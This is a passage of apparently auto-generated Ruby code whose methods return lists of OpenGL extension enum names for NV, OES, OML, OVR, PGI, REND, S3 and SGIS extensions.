def self.get_ext_enum_GL_NV_register_combiners2
[
'GL_PER_STAGE_CONSTANTS_NV',
]
end # self.get_ext_enum_GL_NV_register_combiners2
def self.get_ext_enum_GL_NV_sample_locations
[
'GL_SAMPLE_LOCATION_SUBPIXEL_BITS_NV',
'GL_SAMPLE_LOCATION_PIXEL_GRID_WIDTH_NV',
'GL_SAMPLE_LOCATION_PIXEL_GRID_HEIGHT_NV',
'GL_PROGRAMMABLE_SAMPLE_LOCATION_TABLE_SIZE_NV',
'GL_SAMPLE_LOCATION_NV',
'GL_PROGRAMMABLE_SAMPLE_LOCATION_NV',
'GL_FRAMEBUFFER_PROGRAMMABLE_SAMPLE_LOCATIONS_NV',
'GL_FRAMEBUFFER_SAMPLE_LOCATION_PIXEL_GRID_NV',
]
end # self.get_ext_enum_GL_NV_sample_locations
def self.get_ext_enum_GL_NV_sample_mask_override_coverage
[
]
end # self.get_ext_enum_GL_NV_sample_mask_override_coverage
def self.get_ext_enum_GL_NV_shader_atomic_counters
[
]
end # self.get_ext_enum_GL_NV_shader_atomic_counters
def self.get_ext_enum_GL_NV_shader_atomic_float
[
]
end # self.get_ext_enum_GL_NV_shader_atomic_float
def self.get_ext_enum_GL_NV_shader_atomic_fp16_vector
[
]
end # self.get_ext_enum_GL_NV_shader_atomic_fp16_vector
def self.get_ext_enum_GL_NV_shader_atomic_int64
[
]
end # self.get_ext_enum_GL_NV_shader_atomic_int64
def self.get_ext_enum_GL_NV_shader_buffer_load
[
'GL_BUFFER_GPU_ADDRESS_NV',
'GL_GPU_ADDRESS_NV',
'GL_MAX_SHADER_BUFFER_ADDRESS_NV',
]
end # self.get_ext_enum_GL_NV_shader_buffer_load
def self.get_ext_enum_GL_NV_shader_buffer_store
[
'GL_SHADER_GLOBAL_ACCESS_BARRIER_BIT_NV',
'GL_READ_WRITE',
'GL_WRITE_ONLY',
]
end # self.get_ext_enum_GL_NV_shader_buffer_store
def self.get_ext_enum_GL_NV_shader_storage_buffer_object
[
]
end # self.get_ext_enum_GL_NV_shader_storage_buffer_object
def self.get_ext_enum_GL_NV_shader_thread_group
[
'GL_WARP_SIZE_NV',
'GL_WARPS_PER_SM_NV',
'GL_SM_COUNT_NV',
]
end # self.get_ext_enum_GL_NV_shader_thread_group
def self.get_ext_enum_GL_NV_shader_thread_shuffle
[
]
end # self.get_ext_enum_GL_NV_shader_thread_shuffle
def self.get_ext_enum_GL_NV_tessellation_program5
[
'GL_MAX_PROGRAM_PATCH_ATTRIBS_NV',
'GL_TESS_CONTROL_PROGRAM_NV',
'GL_TESS_EVALUATION_PROGRAM_NV',
'GL_TESS_CONTROL_PROGRAM_PARAMETER_BUFFER_NV',
'GL_TESS_EVALUATION_PROGRAM_PARAMETER_BUFFER_NV',
]
end # self.get_ext_enum_GL_NV_tessellation_program5
def self.get_ext_enum_GL_NV_texgen_emboss
[
'GL_EMBOSS_LIGHT_NV',
'GL_EMBOSS_CONSTANT_NV',
'GL_EMBOSS_MAP_NV',
]
end # self.get_ext_enum_GL_NV_texgen_emboss
def self.get_ext_enum_GL_NV_texgen_reflection
[
'GL_NORMAL_MAP_NV',
'GL_REFLECTION_MAP_NV',
]
end # self.get_ext_enum_GL_NV_texgen_reflection
def self.get_ext_enum_GL_NV_texture_barrier
[
]
end # self.get_ext_enum_GL_NV_texture_barrier
def self.get_ext_enum_GL_NV_texture_compression_vtc
[
]
end # self.get_ext_enum_GL_NV_texture_compression_vtc
def self.get_ext_enum_GL_NV_texture_env_combine4
[
'GL_COMBINE4_NV',
'GL_SOURCE3_RGB_NV',
'GL_SOURCE3_ALPHA_NV',
'GL_OPERAND3_RGB_NV',
'GL_OPERAND3_ALPHA_NV',
]
end # self.get_ext_enum_GL_NV_texture_env_combine4
def self.get_ext_enum_GL_NV_texture_expand_normal
[
'GL_TEXTURE_UNSIGNED_REMAP_MODE_NV',
]
end # self.get_ext_enum_GL_NV_texture_expand_normal
def self.get_ext_enum_GL_NV_texture_multisample
[
'GL_TEXTURE_COVERAGE_SAMPLES_NV',
'GL_TEXTURE_COLOR_SAMPLES_NV',
]
end # self.get_ext_enum_GL_NV_texture_multisample
def self.get_ext_enum_GL_NV_texture_rectangle
[
'GL_TEXTURE_RECTANGLE_NV',
'GL_TEXTURE_BINDING_RECTANGLE_NV',
'GL_PROXY_TEXTURE_RECTANGLE_NV',
'GL_MAX_RECTANGLE_TEXTURE_SIZE_NV',
]
end # self.get_ext_enum_GL_NV_texture_rectangle
def self.get_ext_enum_GL_NV_texture_shader
[
'GL_OFFSET_TEXTURE_RECTANGLE_NV',
'GL_OFFSET_TEXTURE_RECTANGLE_SCALE_NV',
'GL_DOT_PRODUCT_TEXTURE_RECTANGLE_NV',
'GL_RGBA_UNSIGNED_DOT_PRODUCT_MAPPING_NV',
'GL_UNSIGNED_INT_S8_S8_8_8_NV',
'GL_UNSIGNED_INT_8_8_S8_S8_REV_NV',
'GL_DSDT_MAG_INTENSITY_NV',
'GL_SHADER_CONSISTENT_NV',
'GL_TEXTURE_SHADER_NV',
'GL_SHADER_OPERATION_NV',
'GL_CULL_MODES_NV',
'GL_OFFSET_TEXTURE_MATRIX_NV',
'GL_OFFSET_TEXTURE_SCALE_NV',
'GL_OFFSET_TEXTURE_BIAS_NV',
'GL_OFFSET_TEXTURE_2D_MATRIX_NV',
'GL_OFFSET_TEXTURE_2D_SCALE_NV',
'GL_OFFSET_TEXTURE_2D_BIAS_NV',
'GL_PREVIOUS_TEXTURE_INPUT_NV',
'GL_CONST_EYE_NV',
'GL_PASS_THROUGH_NV',
'GL_CULL_FRAGMENT_NV',
'GL_OFFSET_TEXTURE_2D_NV',
'GL_DEPENDENT_AR_TEXTURE_2D_NV',
'GL_DEPENDENT_GB_TEXTURE_2D_NV',
'GL_DOT_PRODUCT_NV',
'GL_DOT_PRODUCT_DEPTH_REPLACE_NV',
'GL_DOT_PRODUCT_TEXTURE_2D_NV',
'GL_DOT_PRODUCT_TEXTURE_CUBE_MAP_NV',
'GL_DOT_PRODUCT_DIFFUSE_CUBE_MAP_NV',
'GL_DOT_PRODUCT_REFLECT_CUBE_MAP_NV',
'GL_DOT_PRODUCT_CONST_EYE_REFLECT_CUBE_MAP_NV',
'GL_HILO_NV',
'GL_DSDT_NV',
'GL_DSDT_MAG_NV',
'GL_DSDT_MAG_VIB_NV',
'GL_HILO16_NV',
'GL_SIGNED_HILO_NV',
'GL_SIGNED_HILO16_NV',
'GL_SIGNED_RGBA_NV',
'GL_SIGNED_RGBA8_NV',
'GL_SIGNED_RGB_NV',
'GL_SIGNED_RGB8_NV',
'GL_SIGNED_LUMINANCE_NV',
'GL_SIGNED_LUMINANCE8_NV',
'GL_SIGNED_LUMINANCE_ALPHA_NV',
'GL_SIGNED_LUMINANCE8_ALPHA8_NV',
'GL_SIGNED_ALPHA_NV',
'GL_SIGNED_ALPHA8_NV',
'GL_SIGNED_INTENSITY_NV',
'GL_SIGNED_INTENSITY8_NV',
'GL_DSDT8_NV',
'GL_DSDT8_MAG8_NV',
'GL_DSDT8_MAG8_INTENSITY8_NV',
'GL_SIGNED_RGB_UNSIGNED_ALPHA_NV',
'GL_SIGNED_RGB8_UNSIGNED_ALPHA8_NV',
'GL_HI_SCALE_NV',
'GL_LO_SCALE_NV',
'GL_DS_SCALE_NV',
'GL_DT_SCALE_NV',
'GL_MAGNITUDE_SCALE_NV',
'GL_VIBRANCE_SCALE_NV',
'GL_HI_BIAS_NV',
'GL_LO_BIAS_NV',
'GL_DS_BIAS_NV',
'GL_DT_BIAS_NV',
'GL_MAGNITUDE_BIAS_NV',
'GL_VIBRANCE_BIAS_NV',
'GL_TEXTURE_BORDER_VALUES_NV',
'GL_TEXTURE_HI_SIZE_NV',
'GL_TEXTURE_LO_SIZE_NV',
'GL_TEXTURE_DS_SIZE_NV',
'GL_TEXTURE_DT_SIZE_NV',
'GL_TEXTURE_MAG_SIZE_NV',
]
end # self.get_ext_enum_GL_NV_texture_shader
def self.get_ext_enum_GL_NV_texture_shader2
[
'GL_DOT_PRODUCT_TEXTURE_3D_NV',
]
end # self.get_ext_enum_GL_NV_texture_shader2
def self.get_ext_enum_GL_NV_texture_shader3
[
'GL_OFFSET_PROJECTIVE_TEXTURE_2D_NV',
'GL_OFFSET_PROJECTIVE_TEXTURE_2D_SCALE_NV',
'GL_OFFSET_PROJECTIVE_TEXTURE_RECTANGLE_NV',
'GL_OFFSET_PROJECTIVE_TEXTURE_RECTANGLE_SCALE_NV',
'GL_OFFSET_HILO_TEXTURE_2D_NV',
'GL_OFFSET_HILO_TEXTURE_RECTANGLE_NV',
'GL_OFFSET_HILO_PROJECTIVE_TEXTURE_2D_NV',
'GL_OFFSET_HILO_PROJECTIVE_TEXTURE_RECTANGLE_NV',
'GL_DEPENDENT_HILO_TEXTURE_2D_NV',
'GL_DEPENDENT_RGB_TEXTURE_3D_NV',
'GL_DEPENDENT_RGB_TEXTURE_CUBE_MAP_NV',
'GL_DOT_PRODUCT_PASS_THROUGH_NV',
'GL_DOT_PRODUCT_TEXTURE_1D_NV',
'GL_DOT_PRODUCT_AFFINE_DEPTH_REPLACE_NV',
'GL_HILO8_NV',
'GL_SIGNED_HILO8_NV',
'GL_FORCE_BLUE_TO_ONE_NV',
]
end # self.get_ext_enum_GL_NV_texture_shader3
def self.get_ext_enum_GL_NV_transform_feedback
[
'GL_BACK_PRIMARY_COLOR_NV',
'GL_BACK_SECONDARY_COLOR_NV',
'GL_TEXTURE_COORD_NV',
'GL_CLIP_DISTANCE_NV',
'GL_VERTEX_ID_NV',
'GL_PRIMITIVE_ID_NV',
'GL_GENERIC_ATTRIB_NV',
'GL_TRANSFORM_FEEDBACK_ATTRIBS_NV',
'GL_TRANSFORM_FEEDBACK_BUFFER_MODE_NV',
'GL_MAX_TRANSFORM_FEEDBACK_SEPARATE_COMPONENTS_NV',
'GL_ACTIVE_VARYINGS_NV',
'GL_ACTIVE_VARYING_MAX_LENGTH_NV',
'GL_TRANSFORM_FEEDBACK_VARYINGS_NV',
'GL_TRANSFORM_FEEDBACK_BUFFER_START_NV',
'GL_TRANSFORM_FEEDBACK_BUFFER_SIZE_NV',
'GL_TRANSFORM_FEEDBACK_RECORD_NV',
'GL_PRIMITIVES_GENERATED_NV',
'GL_TRANSFORM_FEEDBACK_PRIMITIVES_WRITTEN_NV',
'GL_RASTERIZER_DISCARD_NV',
'GL_MAX_TRANSFORM_FEEDBACK_INTERLEAVED_COMPONENTS_NV',
'GL_MAX_TRANSFORM_FEEDBACK_SEPARATE_ATTRIBS_NV',
'GL_INTERLEAVED_ATTRIBS_NV',
'GL_SEPARATE_ATTRIBS_NV',
'GL_TRANSFORM_FEEDBACK_BUFFER_NV',
'GL_TRANSFORM_FEEDBACK_BUFFER_BINDING_NV',
'GL_LAYER_NV',
'GL_NEXT_BUFFER_NV',
'GL_SKIP_COMPONENTS4_NV',
'GL_SKIP_COMPONENTS3_NV',
'GL_SKIP_COMPONENTS2_NV',
'GL_SKIP_COMPONENTS1_NV',
]
end # self.get_ext_enum_GL_NV_transform_feedback
def self.get_ext_enum_GL_NV_transform_feedback2
[
'GL_TRANSFORM_FEEDBACK_NV',
'GL_TRANSFORM_FEEDBACK_BUFFER_PAUSED_NV',
'GL_TRANSFORM_FEEDBACK_BUFFER_ACTIVE_NV',
'GL_TRANSFORM_FEEDBACK_BINDING_NV',
]
end # self.get_ext_enum_GL_NV_transform_feedback2
def self.get_ext_enum_GL_NV_uniform_buffer_unified_memory
[
'GL_UNIFORM_BUFFER_UNIFIED_NV',
'GL_UNIFORM_BUFFER_ADDRESS_NV',
'GL_UNIFORM_BUFFER_LENGTH_NV',
]
end # self.get_ext_enum_GL_NV_uniform_buffer_unified_memory
def self.get_ext_enum_GL_NV_vdpau_interop
[
'GL_SURFACE_STATE_NV',
'GL_SURFACE_REGISTERED_NV',
'GL_SURFACE_MAPPED_NV',
'GL_WRITE_DISCARD_NV',
]
end # self.get_ext_enum_GL_NV_vdpau_interop
def self.get_ext_enum_GL_NV_vertex_array_range
[
'GL_VERTEX_ARRAY_RANGE_NV',
'GL_VERTEX_ARRAY_RANGE_LENGTH_NV',
'GL_VERTEX_ARRAY_RANGE_VALID_NV',
'GL_MAX_VERTEX_ARRAY_RANGE_ELEMENT_NV',
'GL_VERTEX_ARRAY_RANGE_POINTER_NV',
]
end # self.get_ext_enum_GL_NV_vertex_array_range
def self.get_ext_enum_GL_NV_vertex_array_range2
[
'GL_VERTEX_ARRAY_RANGE_WITHOUT_FLUSH_NV',
]
end # self.get_ext_enum_GL_NV_vertex_array_range2
def self.get_ext_enum_GL_NV_vertex_attrib_integer_64bit
[
'GL_INT64_NV',
'GL_UNSIGNED_INT64_NV',
]
end # self.get_ext_enum_GL_NV_vertex_attrib_integer_64bit
def self.get_ext_enum_GL_NV_vertex_buffer_unified_memory
[
'GL_VERTEX_ATTRIB_ARRAY_UNIFIED_NV',
'GL_ELEMENT_ARRAY_UNIFIED_NV',
'GL_VERTEX_ATTRIB_ARRAY_ADDRESS_NV',
'GL_VERTEX_ARRAY_ADDRESS_NV',
'GL_NORMAL_ARRAY_ADDRESS_NV',
'GL_COLOR_ARRAY_ADDRESS_NV',
'GL_INDEX_ARRAY_ADDRESS_NV',
'GL_TEXTURE_COORD_ARRAY_ADDRESS_NV',
'GL_EDGE_FLAG_ARRAY_ADDRESS_NV',
'GL_SECONDARY_COLOR_ARRAY_ADDRESS_NV',
'GL_FOG_COORD_ARRAY_ADDRESS_NV',
'GL_ELEMENT_ARRAY_ADDRESS_NV',
'GL_VERTEX_ATTRIB_ARRAY_LENGTH_NV',
'GL_VERTEX_ARRAY_LENGTH_NV',
'GL_NORMAL_ARRAY_LENGTH_NV',
'GL_COLOR_ARRAY_LENGTH_NV',
'GL_INDEX_ARRAY_LENGTH_NV',
'GL_TEXTURE_COORD_ARRAY_LENGTH_NV',
'GL_EDGE_FLAG_ARRAY_LENGTH_NV',
'GL_SECONDARY_COLOR_ARRAY_LENGTH_NV',
'GL_FOG_COORD_ARRAY_LENGTH_NV',
'GL_ELEMENT_ARRAY_LENGTH_NV',
'GL_DRAW_INDIRECT_UNIFIED_NV',
'GL_DRAW_INDIRECT_ADDRESS_NV',
'GL_DRAW_INDIRECT_LENGTH_NV',
]
end # self.get_ext_enum_GL_NV_vertex_buffer_unified_memory
def self.get_ext_enum_GL_NV_vertex_program
[
'GL_VERTEX_PROGRAM_NV',
'GL_VERTEX_STATE_PROGRAM_NV',
'GL_ATTRIB_ARRAY_SIZE_NV',
'GL_ATTRIB_ARRAY_STRIDE_NV',
'GL_ATTRIB_ARRAY_TYPE_NV',
'GL_CURRENT_ATTRIB_NV',
'GL_PROGRAM_LENGTH_NV',
'GL_PROGRAM_STRING_NV',
'GL_MODELVIEW_PROJECTION_NV',
'GL_IDENTITY_NV',
'GL_INVERSE_NV',
'GL_TRANSPOSE_NV',
'GL_INVERSE_TRANSPOSE_NV',
'GL_MAX_TRACK_MATRIX_STACK_DEPTH_NV',
'GL_MAX_TRACK_MATRICES_NV',
'GL_MATRIX0_NV',
'GL_MATRIX1_NV',
'GL_MATRIX2_NV',
'GL_MATRIX3_NV',
'GL_MATRIX4_NV',
'GL_MATRIX5_NV',
'GL_MATRIX6_NV',
'GL_MATRIX7_NV',
'GL_CURRENT_MATRIX_STACK_DEPTH_NV',
'GL_CURRENT_MATRIX_NV',
'GL_VERTEX_PROGRAM_POINT_SIZE_NV',
'GL_VERTEX_PROGRAM_TWO_SIDE_NV',
'GL_PROGRAM_PARAMETER_NV',
'GL_ATTRIB_ARRAY_POINTER_NV',
'GL_PROGRAM_TARGET_NV',
'GL_PROGRAM_RESIDENT_NV',
'GL_TRACK_MATRIX_NV',
'GL_TRACK_MATRIX_TRANSFORM_NV',
'GL_VERTEX_PROGRAM_BINDING_NV',
'GL_PROGRAM_ERROR_POSITION_NV',
'GL_VERTEX_ATTRIB_ARRAY0_NV',
'GL_VERTEX_ATTRIB_ARRAY1_NV',
'GL_VERTEX_ATTRIB_ARRAY2_NV',
'GL_VERTEX_ATTRIB_ARRAY3_NV',
'GL_VERTEX_ATTRIB_ARRAY4_NV',
'GL_VERTEX_ATTRIB_ARRAY5_NV',
'GL_VERTEX_ATTRIB_ARRAY6_NV',
'GL_VERTEX_ATTRIB_ARRAY7_NV',
'GL_VERTEX_ATTRIB_ARRAY8_NV',
'GL_VERTEX_ATTRIB_ARRAY9_NV',
'GL_VERTEX_ATTRIB_ARRAY10_NV',
'GL_VERTEX_ATTRIB_ARRAY11_NV',
'GL_VERTEX_ATTRIB_ARRAY12_NV',
'GL_VERTEX_ATTRIB_ARRAY13_NV',
'GL_VERTEX_ATTRIB_ARRAY14_NV',
'GL_VERTEX_ATTRIB_ARRAY15_NV',
'GL_MAP1_VERTEX_ATTRIB0_4_NV',
'GL_MAP1_VERTEX_ATTRIB1_4_NV',
'GL_MAP1_VERTEX_ATTRIB2_4_NV',
'GL_MAP1_VERTEX_ATTRIB3_4_NV',
'GL_MAP1_VERTEX_ATTRIB4_4_NV',
'GL_MAP1_VERTEX_ATTRIB5_4_NV',
'GL_MAP1_VERTEX_ATTRIB6_4_NV',
'GL_MAP1_VERTEX_ATTRIB7_4_NV',
'GL_MAP1_VERTEX_ATTRIB8_4_NV',
'GL_MAP1_VERTEX_ATTRIB9_4_NV',
'GL_MAP1_VERTEX_ATTRIB10_4_NV',
'GL_MAP1_VERTEX_ATTRIB11_4_NV',
'GL_MAP1_VERTEX_ATTRIB12_4_NV',
'GL_MAP1_VERTEX_ATTRIB13_4_NV',
'GL_MAP1_VERTEX_ATTRIB14_4_NV',
'GL_MAP1_VERTEX_ATTRIB15_4_NV',
'GL_MAP2_VERTEX_ATTRIB0_4_NV',
'GL_MAP2_VERTEX_ATTRIB1_4_NV',
'GL_MAP2_VERTEX_ATTRIB2_4_NV',
'GL_MAP2_VERTEX_ATTRIB3_4_NV',
'GL_MAP2_VERTEX_ATTRIB4_4_NV',
'GL_MAP2_VERTEX_ATTRIB5_4_NV',
'GL_MAP2_VERTEX_ATTRIB6_4_NV',
'GL_MAP2_VERTEX_ATTRIB7_4_NV',
'GL_MAP2_VERTEX_ATTRIB8_4_NV',
'GL_MAP2_VERTEX_ATTRIB9_4_NV',
'GL_MAP2_VERTEX_ATTRIB10_4_NV',
'GL_MAP2_VERTEX_ATTRIB11_4_NV',
'GL_MAP2_VERTEX_ATTRIB12_4_NV',
'GL_MAP2_VERTEX_ATTRIB13_4_NV',
'GL_MAP2_VERTEX_ATTRIB14_4_NV',
'GL_MAP2_VERTEX_ATTRIB15_4_NV',
]
end # self.get_ext_enum_GL_NV_vertex_program
def self.get_ext_enum_GL_NV_vertex_program1_1
[
]
end # self.get_ext_enum_GL_NV_vertex_program1_1
def self.get_ext_enum_GL_NV_vertex_program2
[
]
end # self.get_ext_enum_GL_NV_vertex_program2
def self.get_ext_enum_GL_NV_vertex_program2_option
[
'GL_MAX_PROGRAM_EXEC_INSTRUCTIONS_NV',
'GL_MAX_PROGRAM_CALL_DEPTH_NV',
]
end # self.get_ext_enum_GL_NV_vertex_program2_option
def self.get_ext_enum_GL_NV_vertex_program3
[
'GL_MAX_VERTEX_TEXTURE_IMAGE_UNITS_ARB',
]
end # self.get_ext_enum_GL_NV_vertex_program3
def self.get_ext_enum_GL_NV_vertex_program4
[
'GL_VERTEX_ATTRIB_ARRAY_INTEGER_NV',
]
end # self.get_ext_enum_GL_NV_vertex_program4
def self.get_ext_enum_GL_NV_video_capture
[
'GL_VIDEO_BUFFER_NV',
'GL_VIDEO_BUFFER_BINDING_NV',
'GL_FIELD_UPPER_NV',
'GL_FIELD_LOWER_NV',
'GL_NUM_VIDEO_CAPTURE_STREAMS_NV',
'GL_NEXT_VIDEO_CAPTURE_BUFFER_STATUS_NV',
'GL_VIDEO_CAPTURE_TO_422_SUPPORTED_NV',
'GL_LAST_VIDEO_CAPTURE_STATUS_NV',
'GL_VIDEO_BUFFER_PITCH_NV',
'GL_VIDEO_COLOR_CONVERSION_MATRIX_NV',
'GL_VIDEO_COLOR_CONVERSION_MAX_NV',
'GL_VIDEO_COLOR_CONVERSION_MIN_NV',
'GL_VIDEO_COLOR_CONVERSION_OFFSET_NV',
'GL_VIDEO_BUFFER_INTERNAL_FORMAT_NV',
'GL_PARTIAL_SUCCESS_NV',
'GL_SUCCESS_NV',
'GL_FAILURE_NV',
'GL_YCBYCR8_422_NV',
'GL_YCBAYCR8A_4224_NV',
'GL_Z6Y10Z6CB10Z6Y10Z6CR10_422_NV',
'GL_Z6Y10Z6CB10Z6A10Z6Y10Z6CR10Z6A10_4224_NV',
'GL_Z4Y12Z4CB12Z4Y12Z4CR12_422_NV',
'GL_Z4Y12Z4CB12Z4A12Z4Y12Z4CR12Z4A12_4224_NV',
'GL_Z4Y12Z4CB12Z4CR12_444_NV',
'GL_VIDEO_CAPTURE_FRAME_WIDTH_NV',
'GL_VIDEO_CAPTURE_FRAME_HEIGHT_NV',
'GL_VIDEO_CAPTURE_FIELD_UPPER_HEIGHT_NV',
'GL_VIDEO_CAPTURE_FIELD_LOWER_HEIGHT_NV',
'GL_VIDEO_CAPTURE_SURFACE_ORIGIN_NV',
]
end # self.get_ext_enum_GL_NV_video_capture
def self.get_ext_enum_GL_NV_viewport_array2
[
]
end # self.get_ext_enum_GL_NV_viewport_array2
def self.get_ext_enum_GL_OES_byte_coordinates
[
'GL_BYTE',
]
end # self.get_ext_enum_GL_OES_byte_coordinates
def self.get_ext_enum_GL_OES_compressed_paletted_texture
[
'GL_PALETTE4_RGB8_OES',
'GL_PALETTE4_RGBA8_OES',
'GL_PALETTE4_R5_G6_B5_OES',
'GL_PALETTE4_RGBA4_OES',
'GL_PALETTE4_RGB5_A1_OES',
'GL_PALETTE8_RGB8_OES',
'GL_PALETTE8_RGBA8_OES',
'GL_PALETTE8_R5_G6_B5_OES',
'GL_PALETTE8_RGBA4_OES',
'GL_PALETTE8_RGB5_A1_OES',
]
end # self.get_ext_enum_GL_OES_compressed_paletted_texture
def self.get_ext_enum_GL_OES_fixed_point
[
'GL_FIXED_OES',
]
end # self.get_ext_enum_GL_OES_fixed_point
def self.get_ext_enum_GL_OES_query_matrix
[
]
end # self.get_ext_enum_GL_OES_query_matrix
def self.get_ext_enum_GL_OES_read_format
[
'GL_IMPLEMENTATION_COLOR_READ_TYPE_OES',
'GL_IMPLEMENTATION_COLOR_READ_FORMAT_OES',
]
end # self.get_ext_enum_GL_OES_read_format
def self.get_ext_enum_GL_OES_single_precision
[
]
end # self.get_ext_enum_GL_OES_single_precision
def self.get_ext_enum_GL_OML_interlace
[
'GL_INTERLACE_OML',
'GL_INTERLACE_READ_OML',
]
end # self.get_ext_enum_GL_OML_interlace
def self.get_ext_enum_GL_OML_resample
[
'GL_PACK_RESAMPLE_OML',
'GL_UNPACK_RESAMPLE_OML',
'GL_RESAMPLE_REPLICATE_OML',
'GL_RESAMPLE_ZERO_FILL_OML',
'GL_RESAMPLE_AVERAGE_OML',
'GL_RESAMPLE_DECIMATE_OML',
]
end # self.get_ext_enum_GL_OML_resample
def self.get_ext_enum_GL_OML_subsample
[
'GL_FORMAT_SUBSAMPLE_24_24_OML',
'GL_FORMAT_SUBSAMPLE_244_244_OML',
]
end # self.get_ext_enum_GL_OML_subsample
def self.get_ext_enum_GL_OVR_multiview
[
'GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_NUM_VIEWS_OVR',
'GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_BASE_VIEW_INDEX_OVR',
'GL_MAX_VIEWS_OVR',
]
end # self.get_ext_enum_GL_OVR_multiview
def self.get_ext_enum_GL_OVR_multiview2
[
]
end # self.get_ext_enum_GL_OVR_multiview2
def self.get_ext_enum_GL_PGI_misc_hints
[
'GL_PREFER_DOUBLEBUFFER_HINT_PGI',
'GL_CONSERVE_MEMORY_HINT_PGI',
'GL_RECLAIM_MEMORY_HINT_PGI',
'GL_NATIVE_GRAPHICS_HANDLE_PGI',
'GL_NATIVE_GRAPHICS_BEGIN_HINT_PGI',
'GL_NATIVE_GRAPHICS_END_HINT_PGI',
'GL_ALWAYS_FAST_HINT_PGI',
'GL_ALWAYS_SOFT_HINT_PGI',
'GL_ALLOW_DRAW_OBJ_HINT_PGI',
'GL_ALLOW_DRAW_WIN_HINT_PGI',
'GL_ALLOW_DRAW_FRG_HINT_PGI',
'GL_ALLOW_DRAW_MEM_HINT_PGI',
'GL_STRICT_DEPTHFUNC_HINT_PGI',
'GL_STRICT_LIGHTING_HINT_PGI',
'GL_STRICT_SCISSOR_HINT_PGI',
'GL_FULL_STIPPLE_HINT_PGI',
'GL_CLIP_NEAR_HINT_PGI',
'GL_CLIP_FAR_HINT_PGI',
'GL_WIDE_LINE_HINT_PGI',
'GL_BACK_NORMALS_HINT_PGI',
]
end # self.get_ext_enum_GL_PGI_misc_hints
def self.get_ext_enum_GL_PGI_vertex_hints
[
'GL_VERTEX_DATA_HINT_PGI',
'GL_VERTEX_CONSISTENT_HINT_PGI',
'GL_MATERIAL_SIDE_HINT_PGI',
'GL_MAX_VERTEX_HINT_PGI',
'GL_COLOR3_BIT_PGI',
'GL_COLOR4_BIT_PGI',
'GL_EDGEFLAG_BIT_PGI',
'GL_INDEX_BIT_PGI',
'GL_MAT_AMBIENT_BIT_PGI',
'GL_MAT_AMBIENT_AND_DIFFUSE_BIT_PGI',
'GL_MAT_DIFFUSE_BIT_PGI',
'GL_MAT_EMISSION_BIT_PGI',
'GL_MAT_COLOR_INDEXES_BIT_PGI',
'GL_MAT_SHININESS_BIT_PGI',
'GL_MAT_SPECULAR_BIT_PGI',
'GL_NORMAL_BIT_PGI',
'GL_TEXCOORD1_BIT_PGI',
'GL_TEXCOORD2_BIT_PGI',
'GL_TEXCOORD3_BIT_PGI',
'GL_TEXCOORD4_BIT_PGI',
'GL_VERTEX23_BIT_PGI',
'GL_VERTEX4_BIT_PGI',
]
end # self.get_ext_enum_GL_PGI_vertex_hints
def self.get_ext_enum_GL_REND_screen_coordinates
[
'GL_SCREEN_COORDINATES_REND',
'GL_INVERTED_SCREEN_W_REND',
]
end # self.get_ext_enum_GL_REND_screen_coordinates
def self.get_ext_enum_GL_S3_s3tc
[
'GL_RGB_S3TC',
'GL_RGB4_S3TC',
'GL_RGBA_S3TC',
'GL_RGBA4_S3TC',
'GL_RGBA_DXT5_S3TC',
'GL_RGBA4_DXT5_S3TC',
]
end # self.get_ext_enum_GL_S3_s3tc
def self.get_ext_enum_GL_SGIS_detail_texture
[
'GL_DETAIL_TEXTURE_2D_SGIS',
'GL_DETAIL_TEXTURE_2D_BINDING_SGIS',
'GL_LINEAR_DETAIL_SGIS',
'GL_LINEAR_DETAIL_ALPHA_SGIS',
'GL_LINEAR_DETAIL_COLOR_SGIS',
'GL_DETAIL_TEXTURE_LEVEL_SGIS',
'GL_DETAIL_TEXTURE_MODE_SGIS',
'GL_DETAIL_TEXTURE_FUNC_POINTS_SGIS',
]
end # self.get_ext_enum_GL_SGIS_detail_texture
def self.get_ext_enum_GL_SGIS_fog_function
[
'GL_FOG_FUNC_SGIS',
'GL_FOG_FUNC_POINTS_SGIS',
'GL_MAX_FOG_FUNC_POINTS_SGIS',
]
end # self.get_ext_enum_GL_SGIS_fog_function
def self.get_ext_enum_GL_SGIS_generate_mipmap
[
'GL_GENERATE_MIPMAP_SGIS',
'GL_GENERATE_MIPMAP_HINT_SGIS',
]
end # self.get_ext_enum_GL_SGIS_generate_mipmap
def self.get_ext_enum_GL_SGIS_multisample
[
'GL_MULTISAMPLE_SGIS',
'GL_SAMPLE_ALPHA_TO_MASK_SGIS',
'GL_SAMPLE_ALPHA_TO_ONE_SGIS',
'GL_SAMPLE_MASK_SGIS',
'GL_1PASS_SGIS',
'GL_2PASS_0_SGIS',
'GL_2PASS_1_SGIS',
'GL_4PASS_0_SGIS',
'GL_4PASS_1_SGIS',
'GL_4PASS_2_SGIS',
'GL_4PASS_3_SGIS',
'GL_SAMPLE_BUFFERS_SGIS',
'GL_SAMPLES_SGIS',
'GL_SAMPLE_MASK_VALUE_SGIS',
'GL_SAMPLE_MASK_INVERT_SGIS',
'GL_SAMPLE_PATTERN_SGIS',
]
end # self.get_ext_enum_GL_SGIS_multisample
def self.get_ext_enum_GL_SGIS_pixel_texture
[
'GL_PIXEL_TEXTURE_SGIS',
'GL_PIXEL_FRAGMENT_RGB_SOURCE_SGIS',
'GL_PIXEL_FRAGMENT_ALPHA_SOURCE_SGIS',
'GL_PIXEL_GROUP_COLOR_SGIS',
]
end # self.get_ext_enum_GL_SGIS_pixel_texture
def self.get_ext_enum_GL_SGIS_point_line_texgen
[
'GL_EYE_DISTANCE_TO_POINT_SGIS',
'GL_OBJECT_DISTANCE_TO_POINT_SGIS',
'GL_EYE_DISTANCE_TO_LINE_SGIS',
'GL_OBJECT_DISTANCE_TO_LINE_SGIS',
'GL_EYE_POINT_SGIS',
'GL_OBJECT_POINT_SGIS',
'GL_EYE_LINE_SGIS',
'GL_OBJECT_LINE_SGIS',
]
end # self.get_ext_enum_GL_SGIS_point_line_texgen
def self.get_ext_enum_GL_SGIS_point_parameters
[
'GL_POINT_SIZE_MIN_SGIS',
'GL_POINT_SIZE_MAX_SGIS',
'GL_POINT_FADE_THRESHOLD_SIZE_SGIS',
'GL_DISTANCE_ATTENUATION_SGIS',
]
end # self.get_ext_enum_GL_SGIS_point_parameters
def self.get_ext_enum_GL_SGIS_sharpen_texture
[
'GL_LINEAR_SHARPEN_SGIS',
'GL_LINEAR_SHARPEN_ALPHA_SGIS',
'GL_LINEAR_SHARPEN_COLOR_SGIS',
'GL_SHARPEN_TEXTURE_FUNC_POINTS_SGIS',
]
